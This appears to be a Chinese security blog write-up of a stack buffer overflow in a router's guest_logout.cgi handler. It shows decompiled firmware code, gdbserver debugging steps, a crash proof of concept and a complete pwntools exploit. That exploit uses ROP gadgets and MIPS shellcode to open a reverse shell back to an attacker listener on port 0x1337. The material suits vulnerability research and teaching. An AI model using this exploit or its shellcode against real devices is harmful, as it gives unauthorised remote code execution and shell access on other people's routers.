1
2
v11="aaaa;name=keern";
sscanf(v11, "%[^;];%*[^=]=%[^n]", v36, v35);
v36="aaaa";
v35="keer";
int __fastcall guest_logout_cgi(int a1)
{
const char *v1; // $v0
int cgi; // $s0
char *i; // $s0
int v4; // $v1
const char *v5; // $s3
const char *v6; // $v0
int v7; // $s0
char *j; // $s0
int v9; // $v1
const char *v10; // $s2
const char *v11; // $s4
FILE *v12; // $v0
FILE *v13; // $s0
FILE *v14; // $v0
FILE *v15; // $s0
char *v17; // $v0
int v18; // $a1
char *v19; // $a2
FILE *v20; // $v0
int v21; // $a1
int v22; // $a2
FILE *v23; // $s0
const char *v24; // $v0
int v25; // $s1
const char *v26; // $v0
int v27; // $a1
int v28; // $a2
FILE *v29; // $v0
FILE *v30; // $s0
const char *v31; // $a0
FILE *v32; // $v0
FILE *v33; // $s0
int v34[5]; // [sp+28h] [-98h] BYREF
char v35[64]; // [sp+3Ch] [-84h] BYREF
char v36[68]; // [sp+7Ch] [-44h] BYREF
cgi = get_cgi("cmac");
v1 = (const char *)get_cgi("cmac");
for ( i = (char *)(cgi + strlen(v1) - 1); get_cgi("cmac") < (unsigned int)i; *i-- = 0 )
{
v4 = *i;
if ( v4 != 10 && v4 != 13 && v4 != 32 )
break;
}
v5 = (const char *)get_cgi("cmac");
v7 = get_cgi("cip");
v6 = (const char *)get_cgi("cip");
for ( j = (char *)(v7 + strlen(v6) - 1); get_cgi("cip") < (unsigned int)j; *j-- = 0 )
{
v9 = *j;
if ( v9 != 10 && v9 != 13 && v9 != 32 )
break;
}
v10 = (const char *)get_cgi("cip");
v11 = (const char *)get_cgi("submit_button");
if ( !v11 )
v11 = "";
if ( v5 && v10 )
{
memset(v36, 0, 0x40u);
memset(v35, 0, sizeof(v35));
v12 = fopen("/dev/console", "w");
v13 = v12;
if ( v12 )
{
fprintf(v12, "n mac=[%s], ip=[%s], submit_button=[%s]n", v5, v10, v11);
fclose(v13);
}
if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) )
{
v17 = strstr(v11, "status_guestnet.asp");
v19 = v36;
if ( !v17 )
goto LABEL_31;
sscanf(v11, "%[^;];%*[^=]=%[^n]", v36, v35);
v20 = fopen("/dev/console", "w");
v23 = v20;
if ( v20 )
{
fprintf(
v20,
"n%s(%d),submit_button = [%s] url=[%s], session_id=[%s]n",
"guest_logout_cgi",
5449,
v11,
v36,
v35);
fclose(v23);
}
v24 = (const char *)nvram_get("session_key", v21, v22);
if ( !v24 || (v25 = 1, strcmp(v24, v35)) )
{
LABEL_31:
v26 = (const char *)nvram_get("http_client_mac", v18, v19);
if ( v26 && strcmp(v26, v5)
|| (v31 = (const char *)nvram_get("http_client_ip", v27, v28)) != 0 && strcmp(v31, v10) )
{
v29 = fopen("/dev/console", "w");
v30 = v29;
if ( v29 )
{
fprintf(
v29,
"n%s(%d) Drop session, ip and mac invmatch,mac=[%s], ip=[%s], submit_button=[%s]n",
"guest_logout_cgi",
5457,
v5,
v10,
v11);
fclose(v30);
}
goto LABEL_35;
}
v25 = 0;
}
syslog(6, "The mac is %s and IP is %s of guest network user logout.", v5, v10);
if ( debug )
{
v32 = fopen("/dev/console", "w");
v33 = v32;
if ( v32 )
{
fprintf(v32, "%s(): n mac=[%s], ip=[%s], submit_button=[%s]n", "guest_logout_cgi", v5, v10, v11);
fclose(v33);
}
}
v34[0] = (int)"/sbin/cron_gn";
v34[1] = (int)&byte_485FE4;
v34[2] = (int)v5;
v34[3] = (int)v10;
v34[4] = 0;
eval(v34, ">/dev/console", 0, 0);
if ( v25 && !strcmp(v36, "status_guestnet.asp") )
{
LABEL_36:
if ( strlen(v36) < 6 )
do_ej(v11, a1);
else
do_ej(v36, a1);
return 0;
}
LABEL_35:
if ( strcmp(v11, "login_guest.asp") )
return 0;
goto LABEL_36;
}
v14 = fopen("/dev/console", "w");
v15 = v14;
if ( v14 )
{
fprintf(
v14,
"n%s(%d) Drop session,VALID_FAIL, mac=[%s], ip=[%s], submit_button=[%s]n",
"guest_logout_cgi",
5442,
v5,
v10,
v11);
fclose(v15);
}
}
return 0;
}
v11 = (const char *)get_cgi("submit_button");
int __fastcall get_cgi(int a1)
{
int result; // $v0
int v2[4]; // [sp+20h] [-10h] BYREF
result = dword_4D8090;
if ( dword_4D8090 )
{
v2[1] = a1;
hsearch_r(a1, v2[2], 0, v2, &dword_4D8090);
result = v2[0];
if ( v2[0] )
return *(_DWORD *)(v2[0] + 4);
}
return result;
}
3
准备调试环境
python -m SimpleHTTPServe
开始调试
chmod +x gdbserver
./gdbserver :1234 --attach 348
Attached; pid = 348
Listening on port 1234
Remote debugging from host 192.168.1.100
gdb-multiarch -q ../squashfs-root/usr/sbin/httpd
-ex "target remote 192.168.1.1:1234"
-ex "b *0x431bb4"
-ex "b *0x431bb8"
-ex "b *0x431B34"
-ex "c"
import requests
import argparse
from pwn import *
payload = "status_guestnet.aspa" +"a"*0x100
url = "https://192.168.1.1/guest_logout.cgi"
burp0_headers = {"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"cmac": "00:01:02:03:04:05",
"cip": "192.168.1.100",
"submit_button": payload}
requests.post(url, headers=burp0_headers, data=burp0_data, verify=False, timeout=5)
运行到函数返回
.text:00431B34 lw $ra, 0xC0+var_s24($sp)
.text:00431B38 lw $fp, 0xC0+var_s20($sp)
.text:00431B3C lw $s7, 0xC0+var_s1C($sp)
.text:00431B40 lw $s6, 0xC0+var_s18($sp)
.text:00431B44 lw $s5, 0xC0+var_s14($sp)
.text:00431B48 lw $s4, 0xC0+var_s10($sp)
.text:00431B4C lw $s3, 0xC0+var_sC($sp)
.text:00431B50 lw $s2, 0xC0+var_s8($sp)
.text:00431B54 lw $s1, 0xC0+var_s4($sp)
.text:00431B58 lw $s0, 0xC0+var_s0($sp)
.text:00431B5C move $v0, $zero
.text:00431B60 jr $ra
from pwn import *
import thread,requests
port=0x1337
ip='192.168.1.100'
ip_list=ip.split('.')
io=listen(port)
libc=0x2af98000
mv_a0_sp=0x000257A0+libc
jmp_a0 =0x0003D050+libc
stg3_SC = "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28"
stg3_SC += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
stg3_SC += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
stg3_SC += "x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01"
stg3_SC += "xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24"
stg3_SC += "x0cx09x09x01"
stg3_SC += p16(port-0x100)[1:]+p16(port-0x100)[:1]
stg3_SC += "x05x3cx01xffxa5x34x01x01xa5x20"
stg3_SC += "xf8xffxa5xaf"
stg3_SC += p8(int(ip_list[2]))+p8(int(ip_list[3]))
stg3_SC += "x05x3c"
stg3_SC += p8(int(ip_list[0]))+p8(int(ip_list[1]))
stg3_SC += "xa5x34xfcxffxa5xaf"
stg3_SC += "xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24"
stg3_SC += "x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf"
stg3_SC += "x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28"
stg3_SC += "xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23"
stg3_SC += "xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28"
stg3_SC += "xabx0fx02x24x0cx09x09x01"
payload = "status_guestnet.asp"+"a"*0x31+p32(jmp_a0)+"a"*0x20+p32(mv_a0_sp)+'b'*0x18+stg3_SC
url = "https://192.168.1.1/guest_logout.cgi"
burp0_data = {"cmac": "12:22:22:33:44:55",
"submit_button":payload,
"cip": "192.168.1.1"}
def attack():
try: requests.post(url, data=burp0_data, verify=False,timeout=1)
except: pass
thread.start_new_thread(attack,())
io.wait_for_connection()
io.interactive()
4
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论